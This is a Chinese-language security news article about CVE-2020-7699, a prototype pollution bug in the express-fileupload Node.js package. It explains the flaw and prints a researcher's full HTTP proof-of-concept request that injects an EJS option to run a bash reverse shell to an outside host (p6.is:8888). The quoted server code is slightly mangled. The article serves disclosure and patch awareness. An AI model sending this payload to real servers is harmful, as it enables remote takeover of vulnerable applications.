下载超过 730 万次的 Node.js 模块存在 DoS 攻击和代码注入漏洞

Andrew2020-08-06 10:53:22

专家在流行的NodeJS模块中发现了一个漏洞,该漏洞可以使攻击者对服务器执行拒绝服务(DoS)攻击或注入任意代码。

该漏洞 CVE 编号为CVE-2020-7699,位于 express-fileupload npm 组件中。NodeJS模块受“Prototype Pollution(原型污染)” CVE-2020-7699漏洞的影响,该漏洞可能允许攻击者在服务器上执行拒绝服务(DoS)攻击或注入任意代码。

NodeJS模块“express-fileupload” 从npm存储库下载的内容超过730万次。

读取NIST的内容:“这会影响1.1.8之前的包express-fileupload。如果启用了parseNested选项,则发送损坏的HTTP请求可能导致拒绝服务或任意代码执行。”

不幸的是,实际安装数量可能会更多,因为开发人员可以从其他存储库(包括GitHub和镜像网站)下载模块。

原型用于定义JavaScript对象的缺省结构和默认值,当未设置任何值时,它们对于指定期望的结构至关重要。能够修改JavaScript对象原型的攻击者如果没有收到预期值,可能会使应用程序崩溃并更改行为。

由于JavaScript的传播,利用原型污染缺陷可能会对Web应用程序造成严重后果。

原型攻击包括将不兼容类型的对象注入现有对象中,以触发可能导致拒绝服务(DoS)条件或任意代码执行(包括建立远程外壳)的错误。

据发现该漏洞的安全研究员Posix称,该问题利用了express-fileupload实现的“ parseNested”功能。

express-fileupload模块实现了几个用于在nodejs应用程序中上传和管理文件的选项。选项之一是parseNested,它使参数扁平化为嵌套对象。

阅读 Posix发布的帖子可知:

因此,如果我们提供{"a.b.c": true}作为输入,在内部它将被用作{"a": {"b": {"c": true}}}

下面是“parseNested”选项的代码:

const express = require('express'; 
const fileUpload = require('express-fileupload'; 
const app = express(); 

app.use(fileUpload({parseNested:true})); 

app.get'/',(req,res)=> { 
    res.end('express-fileupload poc'; 
}; 

app.listen(7777

在“ Content-Disposition” HTTP标头中提供有效负载后,攻击者可以提供“ __proto __.toString”值来触发攻击。

“因此,使用上述表单中的

express-fileupload

配置和运行express服务器。帖子继续写道。

RlpBedAnvW.png!large

“ __proto __ ” 赋值函数可用于修改所有JS对象和结构所继承的JavaScript的“Prototype”属性。

这意味着上述HTTP请求将覆盖并破坏用户代码中存在的每个对象的内置“toString”方法 。

“如果Object.prototype.toString可以被污染,则将导致错误,并且对于每个请求,express [sic]始终返回500错误,”研究人员继续说道。

研究人员还解释说,攻击者可以利用相同的漏洞在易受攻击的系统上获得一个shell。对于这种攻击形式,有必要使应用程序使用的易受攻击的“express-fileupload”版本也使用模板引擎EJS(嵌入式JavaScript模板)。

“在Express应用程序中通过原型解决方案获取shell的最简单方法是使用ejs。是的,应用程序是否应使用ejs模板引擎存在局限性。”专家继续说。

攻击者可以通过发送覆盖EJS的“ outputFunctionName”选项的HTTP请求来触发问题。

下面的有效负载利用了express-fileupload中的原型污染,并指示EJS(应在使用中)执行NodeJS “ child_process”。此过程可用于获取攻击者计算机的反向shell。

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221

----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--

好消息是,在收到研究人员的报告后,“express-fileupload”立即修复了该漏洞。建议用户从npm存储库中获取最新的1.1.9版本。

软件dos攻击
本作品采用《CC 协议》,转载必须注明作者和本文链接
四重勒索渐成主流,平均赎金支出逐年暴涨。
思科宣布,Snort检测引擎中的漏洞使其某些产品遭受拒绝服务攻击。漏洞跟踪为CVE-2021-1285,未经身份验证的邻近攻击者可以利用此漏洞,通过向其发送特制的以太网帧来触发DoS条件。阅读思科发布的建议。“成功利用漏洞可以使攻击者耗尽受影响设备上的磁盘空间,这可能导致管理员无法登录到该设备或该设备无法正确启动。”该漏洞已被评为高度严重,其CVSS评分为。CVE-2021-1285漏洞影响早于版的所有开源Snort项目版本。
霍尼韦尔 Experion 过程知识系统 (PKS) 是一种在全球和不同行业中广泛采用的 DCS。 这个庞大的自动化平台集成了来自整个环境的控制器的数据,提供了全厂流程的集中视图。 该系统主要使用 C200、C300 和 ACE 控制器,可通过霍尼韦尔工程工作站软件 Experion PKS Configuration Studio 进行编程。 然后可以将逻辑(开发为框图)从工程工作站下载到 DC
未来的勒索软件攻击是什么样的?企业如何实现自身安全防护? 在过去十年左右的时间里,勒索软件已经逐渐发展成熟——从最初相对简单的病毒,到现在有能力削弱全球医疗保健系统、干扰燃料供应链或破坏交通基础设施。它对恶意行为者的巨大吸引力在于其简单易操作。勒索软件攻击无需特别复杂的操作即可实现大规模破坏,同时为犯罪分子赚取丰厚的赎金。出于这个原因,此类攻击的数量未来仍将加速增长。
Printjack打印机攻击
2021-12-03 08:58:17
研究人员发现过度信任打印机会引发DDoS攻击、隐私泄露等威胁。 意大利研究人员在最新研究成果中指出,当前打印机存在一些基本漏洞,且在网络安全和数据隐私合规方面落后于其他IoT和电子设备。通过评估网络安全风险和隐私威胁,研究人员发现针对打印机可以发起一系列攻击——Printjack,包括将打印机纳入DDoS网络、执行隐私泄露攻击等。
据外媒,以色列安全咨询企业JSOF在最新的报告中披露了7个Dnsmasq漏洞,并指出攻击者通过漏洞劫持了数百万台设备。据悉,Dnsmasq是一套开源的DNS转发软件,能够为运行该软件的网络设备添加DNS缓存和DHCP服务器功能。
近日,APC的Easy UPS在线监控软件曝出未经身份验证即可执行任意远程代码(RCE)的漏洞,黑客能够接管设备,在最糟糕的情况下,完全禁用其功能。
目前,云原生场景下,攻击者的主要动机是劫持资源进行挖矿和DoS攻击。由于这种攻击行为会导致性能下降,MITRE ATT&CK框架将其定义为资源劫持。此外,攻击者还会利用受信的基础镜像。这种攻击手法复杂程度最高。使用官方镜像提高了攻击按计划执行的可能性,因为大多数情况下,这些镜像是预先批准可以使用的。
DDOS简介DDOS又称为分布式拒绝服务,全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用,从而造成服务器拒绝正常流量服务。拒绝服务攻击处理流程现象分析:根据发现的现象、网络设备和服务的情况初步判断是否存在拒绝服务攻击
从2022年1月到7月,Sysdig威胁研究团队实施了一个全球蜜网系统,通过多个攻击载体捕获了大量漏洞。如何防范暴力破解DDoS攻击首先,确保Web服务器免受暴力攻击是很重要的。攻击者的目标是访问服务器或暂时使其失去响应。检测账户接管欺诈主要的威胁检测解决方案之一是监视应用程序的登录页面,以防止使用受损凭证对用户帐户进行未经授权的访问。账户接管是一种在线非法活动,攻击者在未经授权的情况下访问用户的账户。
Andrew
暂无描述